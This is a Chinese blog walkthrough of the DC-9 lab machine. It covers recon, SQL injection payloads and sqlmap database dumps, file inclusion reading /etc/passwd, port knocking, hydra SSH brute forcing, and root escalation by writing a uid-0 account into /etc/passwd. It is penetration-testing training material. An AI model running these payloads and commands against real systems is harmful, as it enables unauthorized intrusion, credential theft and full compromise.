dc-9 靶机渗透学习

信息收集

用nmap扫描当前网段

nmap -sP 192.168.202.0/24

对靶机进行端口扫描

nmap -A -p- -v 192.168.202.148

访问靶机的80端口,进行框架识别

无框架的页面,尝试web服务漏洞,用dirsearch进行扫描,没有发现可利用的文件。

漏洞利用

 尝试从页面模块处寻找漏洞,发现在search的地方存在SQL注入漏洞。

测试过程

通常我们测试SQL注入漏洞都是输入一个单引号或者双引号,根据返回的报错信息判断是否存在SQL注入。但在这里就行不通了,web服务器屏蔽了报错信息。

 

这个时候闭合形式没法判断,那么只能盲测一波。同时因为报错信息被屏蔽了,order by也使用不了。只能用union select来判断,首先盲猜为单引号闭合。

-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1' union select 1,2,3,4#
-1' union select 1,2,3,4,5#
-1' union select 1,2,3,4,5,6#

因为union要求前后必须列数相同,无法通过order by来判断web服务器查询结果的列数,只能用union select进行盲测。如果出现了数据,就可判断存在SQL注入漏洞。

其实还有一种方法可以验证存在SQL注入漏洞,就是直接输入1' or 1=1#来爆出数据库的所有字段

web服务器构造向mysql数据库查询语句可能是

select * from users(表名) where ID='$search'

 那么代入我们的1' or 1=1#就变成了下面的形式

select * from users where ID='1' or 1=1#'

根据mysql的语法,由于#是注释符,后面的'会被注释掉,所以上面的语句就相当于

 select * from users where ID='1' or 1=1

我们都知道where在mysql中相当于判断语句,判断'1' or 1=1是否为真。因为是由or连接,所以'1'和1=1中有一个真则为真。1=1肯定是真的,所以上面的语句又等价于

  select * from users 

 所以这个1' or 1=1#可以爆出数据库的所有字段

 

 

sqlmap爆数据库

后面的就交给sqlmap来进行了,因为是POST发送数据,所以有两种方法实现POST注入。

第一种

使用sqlmap的--data指定参数为search

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' --dbs --batch

 接着就是爆库、爆表、爆字段........

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff --tables --batch 
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users --columns --batch
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users -C Username,Password --dump --batch 

可以看到当前数据库中有个admin

 拿去MD5解密得到密码

 得到

admin

transorbital1

还有一个users数据库里面也存在账号密码,暂时还没用到

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D users -T UserDetails -C username,password --dump --batch

第二种

使用bp联合sqlmap实现注入,将bp中请求数据包放入1.txt里面

 然后使用sqlmap的-r参数调用该文本

sqlmap  -r 1.txt --dbs --batch

 大致步骤也和上面的一样。

登录账号

在Manage部分用账号密码登录,发现下面黑色部分有File does not exist,猜测可能存在文件包含

 

测试一波发现确实存在文件包含漏洞,../是返回上一级目录。

为什么dc-5直接包含/etc/passwd就成功了呢?我认为是dc-9对文件包含的范围做了限制,只允许包含当前目录。所以需要../来返回到根目录下,再包含/etc/passwd。

 结合刚刚数据库读到的一些用户信息,接下来使用hydra来ssh爆破,说一下如何快速将sqlmap爆出的用户和密码导入文件中。

将白色部分进行复制,粘贴进2.txt里面

 使用awk命令将用户名导入admin.txt里面 

Linux awk 命令 | 菜鸟教程 (runoob.com)

awk -F "|" '{print $2}' 2.txt

awk -F "|" '{print $2}' 2.txt >admin.txt

 将用户名放入admin.txt后,会发现用户名前面有个空格,需要去掉。

vim admin.txt
:%s/ ///g

%是整个缓冲数据,即整个文本

s/查找的字符/替换的字符/

g是全部替换

vim命令大全 - 知乎 (zhihu.com) 

导入密码也是和上面的一样,完成之后就可以进行hydra爆破,但是你会发现ssh拒绝连接。

具体原因是靶机使用了knockd进行防护

这个knockd.conf是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,
也可以直接用nc敲击端口。

简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的,我们可以下载knock来开启远程端口。

通过刚刚的文件包含读取/etc/knockd.conf

按照要求的顺序敲击端口

nc 192.168.202.148 7469
nc 192.168.202.148 8475
nc 192.168.202.148 9842

 再进行ssh爆破

hydra -L admin.txt -P pass.txt ssh://192.168.202.148

 得到三个账号密码

chandlerb   UrAG0D!
joeyt           Passw0rd
janitor         Ilovepeepee

 

提权

登录ssh

ssh chandlerb@192.168.202.148

进入chandlerb和joeyt用户查看了一下隐藏文件,没有发现什么有用的东西,各种提权也试了一下,结果不行。

ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)

在janitor用户中发现了.secrets-for-putin有个passwords文件,里面含有密码

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts 

 放到pass.txt里面继续爆破,发现多了一个用户

 fredf    B4-Tru3-001

登录fredf后,继续进行提权。尝试SUID提权,没发现可以用于提权的命令

find / -perm -4000 -print 2>/dev/null

查看免密可用的root级别命令,发现有个/opt/devstuff/dist/test/test可用使用 

sudo -l

进入test所在目录下使用

cd /opt/devstuff/dist/test/
./test

 提示我们要使用test.py,那么寻找一下test.py 

find / -name test.py -print 2>/dev/null

查看test.py

cat /opt/devstuff/test.py

 对代码审计一下

先判断是否有三个参数,没有的话输出提示,然后停止执行

第一个参数为要读取内容

第二个参数将读取的内容写到指定文件

那我们可用构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中,即可成功拿下!

passwd文件每一行的格式如下:

用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell

 我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

openssl passwd -1 -salt hack 123456

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败。

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack

最后运行脚本,切换用户得到root权限。 

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
sudo ./test /tmp/hack /etc/passwd

 

su hack

后面补充点自己看的知识

shadow文件

shadow文件中第二列的格式,它是加密后的密码,它有些玄机,不同的特殊字符表示特殊的意义

1. 该列留空,即"::",表示该用户没有密码。
2. 该列为"!",即":!:",表示该用户被锁,被锁将无法登陆,
   但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。
3. 该列为"",即"::",也表示该用户被锁,和"!“效果是一样的。
4. 该列以”!“或”!!“开头,则也表示该用户被锁。
5. 该列为”!!",即":!!:",表示该用户从来没设置过密码。
6. 如果格式为"$id$salt$hashed",则表示该用户密码正常。其中​$id$的id表示密码的加密算法,
   $1$表示使用MD5算法,$2a$表示使用Blowfish算法,
   "$2y$“是另一算法长度的Blowfish,”$5$“表示SHA-256算法,而”$6$"表示SHA-512算法,
    
  目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。
  $salt$是加密时使用的salt,hashed才是真正的密码部分。

参考文章 

DC9-靶机_Au.J的博客-CSDN博客

vulnhub-DC9靶机 - xinZa1

Sqlmap全参数详解_breezeO_o的博客-CSDN博客_ospf协议配置

vim命令大全 - 知乎 (zhihu.com)

ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)

Linux awk 命令 | 菜鸟教程 (runoob.com)

编辑/etc/passwd文件进行权限升级的技巧 - 渗透测试中心 - 博客园 (cnblogs.com)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值